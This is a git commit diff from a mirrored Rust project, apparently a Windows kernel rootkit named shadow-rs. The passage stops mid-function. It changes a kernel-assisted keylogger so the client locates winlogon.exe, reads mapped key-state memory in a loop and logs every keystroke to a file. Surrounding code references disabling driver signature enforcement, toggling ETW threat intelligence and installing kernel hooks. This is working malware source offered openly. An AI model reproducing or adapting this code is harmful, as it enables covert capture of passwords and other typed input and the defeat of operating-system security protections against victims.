mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-09 02:24:29 +01:00
feature(driver): remove loop/thread for key state reading, added VAD root offset retrieval
- Removed the loop and thread for reading key states; now the client handles this, as the driver maps the address to user mode. - Added a function to retrieve the VAD root offset. - Refactored various parts of the code for clarity and performance.
This commit is contained in:
1
.gitignore
vendored
1
.gitignore
vendored
@@ -10,5 +10,4 @@ driver/Cargo.lock
|
||||
driver/src/backup
|
||||
client/src/modules/memory.rs
|
||||
driver/src/misc/memory.rs
|
||||
driver/src/port
|
||||
backup
|
||||
147
Cargo.lock
generated
147
Cargo.lock
generated
@@ -156,19 +156,6 @@ version = "0.7.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1462739cb27611015575c0c11df5df7601141071f07518d56fcc1be504cbec97"
|
||||
|
||||
[[package]]
|
||||
name = "client"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"clap",
|
||||
"colored",
|
||||
"env_logger",
|
||||
"log",
|
||||
"shared",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "colorchoice"
|
||||
version = "1.0.2"
|
||||
@@ -191,6 +178,37 @@ version = "0.8.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
|
||||
|
||||
[[package]]
|
||||
name = "crossbeam-deque"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d"
|
||||
dependencies = [
|
||||
"crossbeam-epoch",
|
||||
"crossbeam-utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crossbeam-epoch"
|
||||
version = "0.9.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
|
||||
dependencies = [
|
||||
"crossbeam-utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "crossbeam-utils"
|
||||
version = "0.8.20"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80"
|
||||
|
||||
[[package]]
|
||||
name = "either"
|
||||
version = "1.13.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
|
||||
|
||||
[[package]]
|
||||
name = "env_filter"
|
||||
version = "0.1.2"
|
||||
@@ -237,7 +255,7 @@ dependencies = [
|
||||
"iana-time-zone-haiku",
|
||||
"js-sys",
|
||||
"wasm-bindgen",
|
||||
"windows-core",
|
||||
"windows-core 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -330,6 +348,26 @@ dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rayon"
|
||||
version = "1.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
|
||||
dependencies = [
|
||||
"either",
|
||||
"rayon-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rayon-core"
|
||||
version = "1.12.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
|
||||
dependencies = [
|
||||
"crossbeam-deque",
|
||||
"crossbeam-utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex"
|
||||
version = "1.10.6"
|
||||
@@ -359,6 +397,20 @@ version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
|
||||
|
||||
[[package]]
|
||||
name = "shadow"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"clap",
|
||||
"colored",
|
||||
"env_logger",
|
||||
"log",
|
||||
"shared",
|
||||
"sysinfo",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "shared"
|
||||
version = "0.1.0"
|
||||
@@ -390,6 +442,20 @@ dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sysinfo"
|
||||
version = "0.31.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "355dbe4f8799b304b05e1b0f05fc59b2a18d36645cf169607da45bde2f69a1be"
|
||||
dependencies = [
|
||||
"core-foundation-sys",
|
||||
"libc",
|
||||
"memchr",
|
||||
"ntapi",
|
||||
"rayon",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.13"
|
||||
@@ -479,6 +545,16 @@ version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.57.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143"
|
||||
dependencies = [
|
||||
"windows-core 0.57.0",
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.52.0"
|
||||
@@ -488,6 +564,49 @@ dependencies = [
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.57.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-result",
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.57.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.57.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8"
|
||||
dependencies = [
|
||||
"windows-targets 0.52.6",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.48.0"
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
[workspace]
|
||||
members = ["client", "shared"]
|
||||
exclude = ["driver"]
|
||||
exclude = ["driver"]
|
||||
|
||||
@@ -5,12 +5,13 @@ edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
clap = { version = "4.5.6", features = ["derive"] }
|
||||
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_Diagnostics_Debug", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||
shared = { path = "../shared" }
|
||||
log = "0.4.22"
|
||||
env_logger = { version = "0.11.5" }
|
||||
colored = "2.1.0"
|
||||
chrono = "0.4.38"
|
||||
sysinfo = "0.31.4"
|
||||
|
||||
[features]
|
||||
mapper = []
|
||||
|
||||
@@ -288,13 +288,9 @@ pub enum MisCommands {
|
||||
|
||||
/// Operations related to Keylogger.
|
||||
Keylogger {
|
||||
/// Stop the keylogger.
|
||||
#[arg(long)]
|
||||
stop: bool,
|
||||
|
||||
/// Start the keylogger.
|
||||
#[arg(long)]
|
||||
start: bool,
|
||||
/// File path for storing keylogger output
|
||||
#[arg(long, required = true)]
|
||||
file: String,
|
||||
},
|
||||
|
||||
/// Operations related to ETWTI.
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
use {
|
||||
cli::*,
|
||||
log::*,
|
||||
clap::Parser,
|
||||
log::*,
|
||||
shared::ioctls::*,
|
||||
utils::init_logger,
|
||||
clap::Parser,
|
||||
};
|
||||
use modules::{
|
||||
misc::Misc,
|
||||
@@ -21,6 +21,7 @@ use modules::registry::Registry;
|
||||
|
||||
mod cli;
|
||||
mod modules;
|
||||
#[macro_use]
|
||||
mod utils;
|
||||
|
||||
fn main() {
|
||||
@@ -117,12 +118,8 @@ fn main() {
|
||||
misc.dse(IOCTL_ENABLE_DSE, false);
|
||||
}
|
||||
}
|
||||
MisCommands::Keylogger { stop, start } => {
|
||||
if *start {
|
||||
misc.keylogger(IOCTL_KEYLOGGER, true);
|
||||
} else if *stop {
|
||||
misc.keylogger(IOCTL_KEYLOGGER, false);
|
||||
}
|
||||
MisCommands::Keylogger { file } => {
|
||||
misc.keylogger(IOCTL_KEYLOGGER, file);
|
||||
}
|
||||
MisCommands::Etwti { disable, enable } => {
|
||||
if *enable {
|
||||
|
||||
@@ -1,14 +1,33 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::utils::open_driver,
|
||||
shared::structs::{Keylogger, DSE, ETWTI},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
crate::utils::{
|
||||
vk_to_char, update_key_state, key_pressed,
|
||||
get_process_by_name, open_driver,
|
||||
},
|
||||
shared::structs::{DSE, ETWTI},
|
||||
std::{
|
||||
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
|
||||
mem::size_of, ptr::null_mut, time::Duration
|
||||
},
|
||||
windows_sys::Win32::{
|
||||
System::IO::DeviceIoControl,
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
},
|
||||
System::{
|
||||
IO::DeviceIoControl,
|
||||
Diagnostics::Debug::ReadProcessMemory,
|
||||
Threading::{OpenProcess, PROCESS_ALL_ACCESS},
|
||||
},
|
||||
Foundation::{
|
||||
INVALID_HANDLE_VALUE, CloseHandle,
|
||||
GetLastError, HANDLE,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
/// Key states.
|
||||
pub static mut KEY_STATE: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_RECENT: [u8; 64] = [0; 64];
|
||||
|
||||
pub struct Misc {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
@@ -45,29 +64,61 @@ impl Misc {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn keylogger(self, ioctl_code: u32, state: bool) {
|
||||
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
|
||||
let mut keylogger = Keylogger { enable: state };
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
pub fn keylogger(self, ioctl_code: u32, file: &String) {
|
||||
unsafe {
|
||||
let mut address: usize = 0;
|
||||
let mut return_buffer = 0;
|
||||
let status = DeviceIoControl(
|
||||
self.driver_handle,
|
||||
ioctl_code,
|
||||
&mut keylogger as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<Keylogger>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut address as *mut _ as *mut c_void,
|
||||
size_of::<usize>() as u32,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
);
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Keylogger {}", if state { "start" } else { "stop" })
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
let pid = get_process_by_name("winlogon.exe").expect("Error retrieving pid from winlogon.exe");
|
||||
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
||||
if h_process == INVALID_HANDLE_VALUE {
|
||||
eprintln!("OpenProcess Failed With Error: {}", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
let file = OpenOptions::new()
|
||||
.append(true)
|
||||
.create(true)
|
||||
.open(file)
|
||||
.expect("Failed to open or create keylog file");
|
||||
let mut writer = BufWriter::new(file);
|
||||
let mut bytes_read = 0;
|
||||
|
||||
loop {
|
||||
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
|
||||
if ReadProcessMemory(h_process, address as *const c_void, KEY_STATE.as_mut_ptr() as _, size_of::<[u8; 64]>() as usize, &mut bytes_read) != 0 {
|
||||
update_key_state();
|
||||
|
||||
for i in 0..256 {
|
||||
if key_pressed(i as u8) {
|
||||
let key = vk_to_char(i as u8);
|
||||
debug!("{key}");
|
||||
writeln!(writer, "{}", key).expect("Failed to write to file");
|
||||
writer.flush().expect("Failed to flush file buffer");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
eprintln!("Failed to read process memory");
|
||||
}
|
||||
|
||||
std::thread::sleep(Duration::from_millis(50));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -7,4 +7,4 @@ pub mod misc;
|
||||
pub mod module;
|
||||
pub mod process;
|
||||
pub mod thread;
|
||||
pub mod port;
|
||||
pub mod port;
|
||||
49
client/src/utils/keylogger.rs
Normal file
49
client/src/utils/keylogger.rs
Normal file
@@ -0,0 +1,49 @@
|
||||
use super::VK_CHARS;
|
||||
use crate::{
|
||||
is_key_down, set_key_down,
|
||||
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}
|
||||
};
|
||||
|
||||
/// Updates the status of the keys.
|
||||
pub unsafe fn update_key_state() {
|
||||
for i in 0..256 {
|
||||
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||
set_key_down!(KEY_RECENT, i, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if a key has been pressed.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The key code.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: if the key was pressed, otherwise `false`.
|
||||
///
|
||||
pub unsafe fn key_pressed(key: u8) -> bool {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
result
|
||||
}
|
||||
|
||||
/// Converts a virtual key code to a character.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The code for the virtual key.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
|
||||
///
|
||||
pub fn vk_to_char(key: u8) -> &'static str {
|
||||
for &(vk, char) in &VK_CHARS {
|
||||
if vk == key {
|
||||
return char;
|
||||
}
|
||||
}
|
||||
"UNKNOWN"
|
||||
}
|
||||
@@ -17,7 +17,7 @@ macro_rules! get_ks_down_bit {
|
||||
#[macro_export]
|
||||
macro_rules! is_key_down {
|
||||
($ks:expr, $vk:expr) => {
|
||||
($ks[get_ks_byte!($vk)] & get_ks_down_bit!($vk)) != 0
|
||||
($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0
|
||||
};
|
||||
}
|
||||
|
||||
@@ -25,9 +25,9 @@ macro_rules! is_key_down {
|
||||
macro_rules! set_key_down {
|
||||
($ks:expr, $vk:expr, $down:expr) => {
|
||||
if $down {
|
||||
$ks[get_ks_byte!($vk)] |= get_ks_down_bit!($vk);
|
||||
$ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk);
|
||||
} else {
|
||||
$ks[get_ks_byte!($vk)] &= !get_ks_down_bit!($vk);
|
||||
$ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk);
|
||||
}
|
||||
};
|
||||
}
|
||||
@@ -2,6 +2,7 @@ use {
|
||||
log::*,
|
||||
colored::Colorize,
|
||||
env_logger::Builder,
|
||||
sysinfo::System,
|
||||
std::{path::Path, ptr::null_mut, io::Write},
|
||||
windows_sys::{
|
||||
w,
|
||||
@@ -18,6 +19,10 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
pub mod macros;
|
||||
pub mod keylogger;
|
||||
pub use keylogger::*;
|
||||
|
||||
pub const BANNER: &str = r#"
|
||||
_____ __ __
|
||||
/ ___// /_ ____ _____/ /___ _ __
|
||||
@@ -122,6 +127,29 @@ pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Searches for the process ID (PID) of a running process by name.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `name`: A reference to a string containing the name of the process to be searched.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
|
||||
///
|
||||
pub fn get_process_by_name(name: &str) -> Option<u32> {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
for (pid, process) in system.processes() {
|
||||
if process.name() == name {
|
||||
return Some(pid.as_u32());
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Enum representing different callbacks in the system.
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum Callbacks {
|
||||
@@ -231,3 +259,160 @@ impl PortType {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Mapping virtual key codes to characters.
|
||||
pub const VK_CHARS: [(u8, &'static str); 153] = [
|
||||
(0x01, "LEFT MOUSE BUTTON"),
|
||||
(0x02, "RIGTH MOUSE BUTTON"),
|
||||
(0x03, "CANCEL"),
|
||||
(0x04, "MIDDLE MOUSE BUTTON"),
|
||||
(0x05, "X1 MOUSE BUTTON"),
|
||||
(0x06, "X2 MOUSE BUTTON"),
|
||||
(0x08, "BACKSPACE"),
|
||||
(0x09, "TAB"),
|
||||
(0x0C, "CLEAR"),
|
||||
(0x0D, "ENTER"),
|
||||
(0x10, "SHIFT"),
|
||||
(0x11, "CONTROL"),
|
||||
(0x12, "ALT"),
|
||||
(0x13, "PAUSE"),
|
||||
(0x14, "CAPS LOCK"),
|
||||
(0x1B, "ESCAPE"),
|
||||
(0x20, "SPACEBAR"),
|
||||
(0x21, "PAGE UP"),
|
||||
(0x22, "PAGE DOWN"),
|
||||
(0x23, "END"),
|
||||
(0x24, "HOME"),
|
||||
(0x25, "LEFT ARROW"),
|
||||
(0x26, "UP ARROW"),
|
||||
(0x27, "RIGHT ARROW"),
|
||||
(0x28, "DOWN ARROW"),
|
||||
(0x29, "SELECT"),
|
||||
(0x2A, "PRINT"),
|
||||
(0x2B, "EXECUTE"),
|
||||
(0x2C, "PRINT SCREEN"),
|
||||
(0x2D, "INSERT"),
|
||||
(0x2E, "DELETE"),
|
||||
(0x2F, "HELP"),
|
||||
(0x5B, "LEFT WINDOWS"),
|
||||
(0x5C, "RIGHT WINDOWS"),
|
||||
(0x5D, "APPLICATIONS"),
|
||||
(0x5F, "SLEEP"),
|
||||
(0x60, "NUMPAD 0"),
|
||||
(0x61, "NUMPAD 1"),
|
||||
(0x62, "NUMPAD 2"),
|
||||
(0x63, "NUMPAD 3"),
|
||||
(0x64, "NUMPAD 4"),
|
||||
(0x65, "NUMPAD 5"),
|
||||
(0x66, "NUMPAD 6"),
|
||||
(0x67, "NUMPAD 7"),
|
||||
(0x68, "NUMPAD 8"),
|
||||
(0x69, "NUMPAD 9"),
|
||||
(0x6A, "NUMPAD *"),
|
||||
(0x6B, "NUMPAD +"),
|
||||
(0x6C, "SEPARATOR"),
|
||||
(0x6D, "NUMPAD -"),
|
||||
(0x6E, "NUMPAD ."),
|
||||
(0x6F, "NUMPAD /"),
|
||||
(0x70, "F1"),
|
||||
(0x71, "F2"),
|
||||
(0x72, "F3"),
|
||||
(0x73, "F4"),
|
||||
(0x74, "F5"),
|
||||
(0x75, "F6"),
|
||||
(0x76, "F7"),
|
||||
(0x77, "F8"),
|
||||
(0x78, "F9"),
|
||||
(0x79, "F10"),
|
||||
(0x7A, "F11"),
|
||||
(0x7B, "F12"),
|
||||
(0x7C, "F13"),
|
||||
(0x7D, "F14"),
|
||||
(0x7E, "F15"),
|
||||
(0x7F, "F16"),
|
||||
(0x80, "F17"),
|
||||
(0x81, "F18"),
|
||||
(0x82, "F19"),
|
||||
(0x83, "F20"),
|
||||
(0x84, "F21"),
|
||||
(0x85, "F22"),
|
||||
(0x86, "F23"),
|
||||
(0x87, "F24"),
|
||||
(0x90, "NUM LOCK"),
|
||||
(0x91, "SCROLL LOCK"),
|
||||
(0xA6, "BROWSER BACK"),
|
||||
(0xA7, "BROWSER FORWARD"),
|
||||
(0xA8, "BROWSER REFRESH"),
|
||||
(0xA9, "BROWSER STOP"),
|
||||
(0xAA, "BROWSER SEARCH"),
|
||||
(0xAB, "BROWSER FAVORITES"),
|
||||
(0xAC, "BROWSER HOME"),
|
||||
(0xAD, "VOLUME MUTE"),
|
||||
(0xAE, "VOLUME DOWN"),
|
||||
(0xAF, "VOLUME UP"),
|
||||
(0xB0, "MEDIA NEXT TRACK"),
|
||||
(0xB1, "MEDIA PREVIOUS TRACK"),
|
||||
(0xB2, "MEDIA STOP"),
|
||||
(0xB3, "MEDIA PLAY/PAUSE"),
|
||||
(0xB4, "LAUNCH MAIL"),
|
||||
(0xB5, "MEDIA SELECT"),
|
||||
(0xB6, "LAUNCH APPLICATION 1"),
|
||||
(0xB7, "LAUNCH APPLICATION 2"),
|
||||
(0xBA, "OEM 1"),
|
||||
(0xBB, "OEM +"),
|
||||
(0xBC, "OEM ,"),
|
||||
(0xBD, "OEM -"),
|
||||
(0xBE, "OEM ."),
|
||||
(0xBF, "OEM 2"),
|
||||
(0xC0, "OEM 3"),
|
||||
(0xDB, "OEM 4"),
|
||||
(0xDC, "OEM 5"),
|
||||
(0xDD, "OEM 6"),
|
||||
(0xDE, "OEM 7"),
|
||||
(0xDF, "OEM 8"),
|
||||
(0xE2, "OEM 102"),
|
||||
(0xE5, "IME PROCESS"),
|
||||
(0xE7, "PACKET"),
|
||||
(0xF6, "ATTN"),
|
||||
(0xF7, "CRSEL"),
|
||||
(0xF8, "EXSEL"),
|
||||
(0xF9, "EREOF"),
|
||||
(0xFA, "PLAY"),
|
||||
(0xFB, "ZOOM"),
|
||||
(0x30, "0"),
|
||||
(0x31, "1"),
|
||||
(0x32, "2"),
|
||||
(0x33, "3"),
|
||||
(0x34, "4"),
|
||||
(0x35, "5"),
|
||||
(0x36, "6"),
|
||||
(0x37, "7"),
|
||||
(0x38, "8"),
|
||||
(0x39, "9"),
|
||||
(0x41, "A"),
|
||||
(0x42, "B"),
|
||||
(0x43, "C"),
|
||||
(0x44, "D"),
|
||||
(0x45, "E"),
|
||||
(0x46, "F"),
|
||||
(0x47, "G"),
|
||||
(0x48, "H"),
|
||||
(0x49, "I"),
|
||||
(0x4A, "J"),
|
||||
(0x4B, "K"),
|
||||
(0x4C, "L"),
|
||||
(0x4D, "M"),
|
||||
(0x4E, "N"),
|
||||
(0x4F, "O"),
|
||||
(0x50, "P"),
|
||||
(0x51, "Q"),
|
||||
(0x52, "R"),
|
||||
(0x53, "S"),
|
||||
(0x54, "T"),
|
||||
(0x55, "U"),
|
||||
(0x56, "V"),
|
||||
(0x57, "W"),
|
||||
(0x58, "X"),
|
||||
(0x59, "Y"),
|
||||
(0x5A, "Z"),
|
||||
];
|
||||
@@ -8,11 +8,16 @@ extern crate alloc;
|
||||
use {
|
||||
utils::uni,
|
||||
port::Port,
|
||||
core::ptr::null_mut,
|
||||
kernel_log::KernelLogger,
|
||||
crate::utils::ioctls::IOCTL_MAP,
|
||||
misc::keylogger::{keylogger, SHUTDOWN},
|
||||
wdk_sys::{ntddk::*, _MODE::KernelMode, *}
|
||||
wdk_sys::{ntddk::*, _MODE::KernelMode, *},
|
||||
core::{ptr::null_mut, sync::atomic::Ordering},
|
||||
crate::{
|
||||
port::HOOK_INSTALLED,
|
||||
utils::{
|
||||
offsets::BUILD_NUMBER,
|
||||
ioctls::IOCTL_MAP, get_windows_build_number,
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
@@ -128,17 +133,6 @@ pub unsafe extern "system" fn shadow_entry(
|
||||
return status;
|
||||
}
|
||||
|
||||
let mut h_thread: HANDLE = core::ptr::null_mut();
|
||||
status = PsCreateSystemThread(
|
||||
&mut h_thread,
|
||||
THREAD_ALL_ACCESS,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
Some(keylogger),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
IoDeleteDevice(device_object);
|
||||
log::error!("PsCreateSystemThread Failed With Status: {status}");
|
||||
@@ -158,7 +152,7 @@ pub unsafe extern "system" fn shadow_entry(
|
||||
}
|
||||
}
|
||||
|
||||
let status = unsafe { Port::install_hook() };
|
||||
BUILD_NUMBER = get_windows_build_number();
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
@@ -225,19 +219,15 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *
|
||||
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
||||
log::info!("Unloading driver");
|
||||
|
||||
SHUTDOWN = true;
|
||||
if HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||
let hook_status = Port::uninstall_hook();
|
||||
let mut interval = LARGE_INTEGER {
|
||||
QuadPart: -50 * 1000_i64 * 1000_i64,
|
||||
};
|
||||
|
||||
let hook_status = Port::uninstall_hook();
|
||||
if !NT_SUCCESS(hook_status) {
|
||||
log::error!("Failed to uninstall hook before unload");
|
||||
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||
}
|
||||
|
||||
let mut interval = LARGE_INTEGER {
|
||||
QuadPart: -50 * 1000_i64 * 1000_i64,
|
||||
};
|
||||
|
||||
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||
|
||||
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
||||
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
|
||||
IoDeleteDevice((*driver_object).DeviceObject);
|
||||
@@ -248,12 +238,6 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
||||
CmUnRegisterCallback(CALLBACK_REGISTRY);
|
||||
}
|
||||
|
||||
let mut interval = LARGE_INTEGER {
|
||||
QuadPart: -1 * -(50 * 1000_i64),
|
||||
};
|
||||
|
||||
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||
|
||||
log::info!("Shadow Unload");
|
||||
}
|
||||
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
use {
|
||||
alloc::boxed::Box,
|
||||
hashbrown::HashMap,
|
||||
super::keylogger::set_keylogger_state,
|
||||
shared::structs::{Keylogger, DSE, ETWTI},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
|
||||
shared::ioctls::{IOCTL_ENABLE_DSE, IOCTL_KEYLOGGER, IOCTL_ETWTI},
|
||||
crate::{handle, misc::{etwti::Etw, dse::Dse}, utils::ioctls::IoctlHandler},
|
||||
super::keylogger::{get_user_address_keylogger, USER_ADDRESS},
|
||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS, STATUS_UNSUCCESSFUL},
|
||||
crate::{handle, misc::{dse::Dse, etwti::Etw}, utils::ioctls::IoctlHandler},
|
||||
shared::{
|
||||
ioctls::{IOCTL_ENABLE_DSE, IOCTL_ETWTI, IOCTL_KEYLOGGER},
|
||||
structs::{DSE, ETWTI}
|
||||
},
|
||||
};
|
||||
|
||||
/// Registers the IOCTL handlers for misc-related operations.
|
||||
@@ -30,12 +32,25 @@ pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
||||
}
|
||||
}) as IoctlHandler);
|
||||
|
||||
// Start / Stop Keylogger
|
||||
// Start Keylogger
|
||||
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||
let status = unsafe { handle!(stack, set_keylogger_state, Keylogger) };
|
||||
unsafe { (*irp).IoStatus.Information = 0 };
|
||||
unsafe {
|
||||
if USER_ADDRESS == 0 {
|
||||
USER_ADDRESS = match get_user_address_keylogger() {
|
||||
Some(addr) => addr as usize,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
}
|
||||
|
||||
